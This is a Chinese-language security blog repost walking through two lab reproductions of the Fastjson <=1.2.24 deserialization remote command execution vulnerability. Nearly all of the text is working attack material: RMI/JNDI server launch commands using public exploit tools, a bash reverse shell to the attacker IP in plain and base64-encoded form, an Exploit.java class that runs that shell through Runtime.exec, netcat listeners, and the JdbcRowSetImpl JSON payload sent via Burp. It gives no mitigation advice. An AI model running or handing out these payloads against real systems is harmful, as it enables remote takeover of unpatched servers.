Fastjson <=1.2.24反序列化远程命令执行漏洞

admin 2023年3月10日08:13:35评论16 views字数 2206阅读7分21秒阅读模式

一、第一种复现

1、靶机IP:192.168.111.133

     攻击机IP:192.168.111.129

2、下载利用工具。

下载链接:

git clone https://github.com/wyzxxz/fastjson_rce_tool.git

3、利用工具启动RMI server


java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "要执行的命令"
java -cp fastjson_tool.jar fastjson.HRMIServer 攻击机IP 端口随意 "要执行的命令"


如果是反弹shell的命令,需要将其进行编码,管道符,输入输出重定向,只有在bash环境下才能用,而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符,输入输出重定向等,因此需要base64编码一下。

4、反弹shell命令。

bash -i >& /dev/tcp/192.168.111.129/6666 0>&1

我们进行base64编码:http://www.jsons.cn/base64/

Fastjson <=1.2.24反序列化远程命令执行漏洞

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

5、然后放入payload中执行。

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

Fastjson <=1.2.24反序列化远程命令执行漏洞

利用JNDI注入加载远程RMI server上的字节码。

6、生成字节码文件步骤如下:

Exploit.java

//javac Exploit.javaimport java.lang.Runtime;import java.lang.Process;
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;& /dev/tcp/192.168.111.129/6666 0&gt;&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); }}


7、对Exploit.java文件进行编译。

javac Exploit.java

Fastjson <=1.2.24反序列化远程命令执行漏洞

8、我们在攻击机开启监听。

nc -lvvp 6666

Fastjson <=1.2.24反序列化远程命令执行漏洞

9、我们在Burp里面发包。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

Fastjson <=1.2.24反序列化远程命令执行漏洞

10、此时我们已经拿到了shell。

Fastjson <=1.2.24反序列化远程命令执行漏洞

二、第二种复现

1、工具下载:

https://github.com/mbechler/marshalsec

2、借助marshalsec项目启动一个rmi服务器,监听一个端口,并指定加载远程类Exploit.class。

maven打包项目成jar包:

mvn clean package -DskipTests

2、攻击机开启RMI Server。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8000/#Exploit" 9999

3、编写漏洞利用脚本Exploit.java。

//javac Exploit.javapublic class Exploit{    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.129/2333 0>&1");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}

Fastjson <=1.2.24反序列化远程命令执行漏洞

4、在攻击机开启8000端口的HTTP服务,在Exploit.class所在目录执行。

[python2]python2 -m SimpleHTTPServer[python3]python3 -m http.server

5、攻击机开启2333端口监听,等待靶机将shell送上来。

nc -lvvp 2333

Fastjson <=1.2.24反序列化远程命令执行漏洞6、Burp发包攻击。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

Fastjson <=1.2.24反序列化远程命令执行漏洞

7、此时我们成功拿到了shell。

Fastjson <=1.2.24反序列化远程命令执行漏洞

原文始发于微信公众号(赤弋安全团队):Fastjson <=1.2.24反序列化远程命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月10日08:13:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson <=1.2.24反序列化远程命令执行漏洞http://cn-sec.com/archives/1593955.html

发表评论

匿名网友 填写信息